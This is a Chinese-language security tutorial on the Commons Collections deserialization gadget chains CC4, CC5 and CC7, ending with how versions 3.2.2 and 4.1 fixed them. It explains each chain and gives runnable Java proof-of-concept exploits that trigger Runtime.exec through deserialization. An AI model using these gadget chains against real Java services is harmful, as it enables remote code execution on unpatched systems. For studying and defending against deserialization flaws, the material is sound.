Java安全之CC4,5,7
前言
前边已经将CC链中的关键部分学习差不多,接下来就是一些扩展思路,
CC4
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses.newInstance()
Runtime.exec()
cc4也没什么新的东西,实际上算是cc2和cc3的杂交体。其中的类前边都已经学过了。
CC5
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
cc5的后半段与cc1相同,在cc1中说了,这里只要调用LazyMap#get
并且传递任意内容即可触发后续的链达到rce的目的。
在cc5中用到的是TiedMapEntry中的toString
方法:
public String toString() {
return this.getKey() + "=" + this.getValue();
}
跟进getValue方法:
public V getValue() {
return this.map.get(this.key);
}
可以发现这里对this.map调用了get方法,并将key传递进去,所以这里只需要令map为我们前面构造好的LazyMap,即可触发rce
map以及key都是我们可控的,构造POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc。exe"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
tiedmap.toString();
}
}
接下来我们需要找哪里调用了toString
方法,在cc5中使用了BadAttributeValueExpException
这个类
BadAttributeValueExpException#readObject:
看看这个valObj
是从哪里来的:
这里是从Filed中取出来的,那么利用方式也就很清晰了,通过反射来设置BadAttributeValueExpException
中val的值为TiedMapEntry
即可触发命令执行
那为什么创建BadAttributeValueExpException
实例时不直接将构造好的TiedMapEntry
传进去而要通过反射来修改val的值?
以下为BadAttributeValueExpException的构造方法:
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
如果我们直接将前面构造好的TiedMapEntry传进去,在这里就会触发toString,从而导致rce。此时val的值为UNIXProcess
,这是不可以被反序列化的,所以我们需要在不触发rce的前提,将val设置为构造好的TiedMapEntry。否则就会报出下边的错误
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc.exe"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
CC7
/* Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/
cc7后半段与cc1相同,前半段(如何触发LazyMap#get)不同
在cc1中是通过AnnotationInvocationHandler#invoke
来触发对恶意代理handler调用其invoke方法从而触发LazyMap#get
方法。
而cc7中是通过AbstractMap#equals
来触发对LazyMap#get
方法的调用
如果这里的m是我们可控的,那么我们设置m为LazyMap,即可完成后面的rce触发
先寻找调用equals方法的点,cc7中使用了HashTable#reconstitutionPut
:
这里的key如果是我们可控的,那么m就是我们可控的,接着在HashTable#readObject
中调用了reconstitutionPut
方法,并将key传递进去
接下来就是看如何对参数进行控制的问题了。
在readObject
方法中传递进去的key,是使用readObject得到的,那么在writeObject
处,也必然会有:
里传递的实际上就是HashTable#put
时添加进去的key和value
POC如下
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"calc.exe"};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}
为什么要调用两次put?
在第一次调用reconstitutionPut
时,会把key和value注册进table中
此时由于tab[index]
里并没有内容,所以并不会走进这个for循环内,而是给将key和value注册进tab中。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals
方法。
为什么调用的两次put其中map中key的值分别为yy和zZ?
箭头指向的index
要求两次都一样,否则无法获取到上一次的结果,再看看index是哪里来的,
这里index的计算方式关键是hash,而hash是通过key.hashCode
得来的,在java中有一个小bug:
"yy".hashCode() == "zZ".hashCode()
所以这里我们需要将map中put的值设置为yy和zZ,使两次计算的index都一样,才能够进入到for循环中
为什么在调用完HashTable#put之后,还需要在map2中remove掉yy?
这是因为HashTable#put
实际上也会调用到equals
方法,会影响我们的判断。
小结
学完CC1-CC7之后,可以得出如下结论,cc的链大抵分为三段:
- readObject触发
- 调用transform方法
- 触发后续链达到rce的目的
版本相关
- 1、3、5、6、7是Commons Collections<=3.2.1中存在的反序列化链。
- 2、4是Commons Collections 4.0以上中存在的反序列化链。
- 同时还对JDK的版本有要求,我使用的测试版本为1.7和1.8。
修复
顺便看看官方是怎么修复漏洞的,Apache Commons Collections官⽅在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.1
和3.2.2
先看3.2.2,新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization
,⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true
,即默认情况下会抛出异常。 这个检查在常⻅的危险Transformer类( InstantiateTransformer 、 InvokerTransformer 、 PrototypeFactory 、 CloneTransforme r 等的readObject⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常:
Serialization support for org.apache.commons.collections.functors.InvokerTransformer is
disabled for security reasons. To enable it set system property
'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure
that your application does not de-serialize objects from untrusted sources
再看4.1,修复⽅式⼜不⼀样。4.1⾥,这⼏个危险Transformer类不再实现 Serializable 接⼝,也就 是说,他们⼏个彻底⽆法序列化和反序列化了